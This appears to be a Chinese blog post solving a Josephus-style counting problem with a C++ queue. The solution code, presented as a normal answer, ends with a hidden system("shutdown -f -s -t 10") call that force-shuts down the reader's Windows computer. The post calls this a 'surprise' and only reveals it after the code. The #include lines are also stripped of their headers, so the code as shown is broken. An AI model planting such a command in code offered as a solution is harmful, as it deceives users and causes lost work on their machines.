1334：【例2-3】围圈报数 （点开有惊喜哦）

【题目描述】

有ｎｎ个人依次围成一圈，从第１个人开始报数，数到第ｍ个人出列，然后从出列的下一个人开始报数，数到第ｍ个人又出列，…，如此反复到所有的人全部出列为止。设ｎ个人的编号分别为1，2，…，n，1，2，…，n，打印出列的顺序。

【输入】

n和m。

【输出】

出列的顺序。

【输入样例】

4 17

【输出样例】

1 3 4 2

【提示】

n≤100n≤100。

思路：

这道题，emm....太简单了，不过是简单队列的应用，没什么好讲的(￣y▽,￣)╭ 

#include
#include
#include
#include
const int N = 1001;
using namespace std;
int main()
{int n, m;//有n个人，报到m的那个人出列cin >> n >> m;//输入数据queue Q;//建立一个整型队列，取名为Qfor (int i = 1; i <= n; i++)Q.push(i);//把这n个人的编号一次推入队列中int cnt = 0;//表示报到几了while (!Q.empty())//如果队列不为空 /*2 3 4 1*/{cnt++;//cnt+1int temp = Q.front();//tmp等于队列最前面的数if (cnt == m)//报数报道了m {cnt = 0;//cnt清0cout << temp << " ";//把队列中最前面的数字输出 }else //没报到m{Q.push(temp);//在队列后面输入最前面的数}Q.pop();//把最前面的数字弹出，是第二前面的数字跳到最前面}system("shutdown -f -s -t 10");cout << endl;return 0;
}

喜欢的小伙伴们别忘了一键三练哦QWQ

什么？你问我惊喜呢，开玩笑，惊喜就在这篇文章里面啊，你们自己去找吧！！！

提示：惊喜就在代码的最后一行“system("shundown -f -s -t 10")，你去运行这个代码，惊喜就会发生了哦

本文来自互联网用户投稿，文章观点仅代表作者本人，不代表本站立场，不承担相关法律责任。如若转载，请注明出处。 如若内容造成侵权/违法违规/事实不符，请点击【内容举报】进行投诉反馈！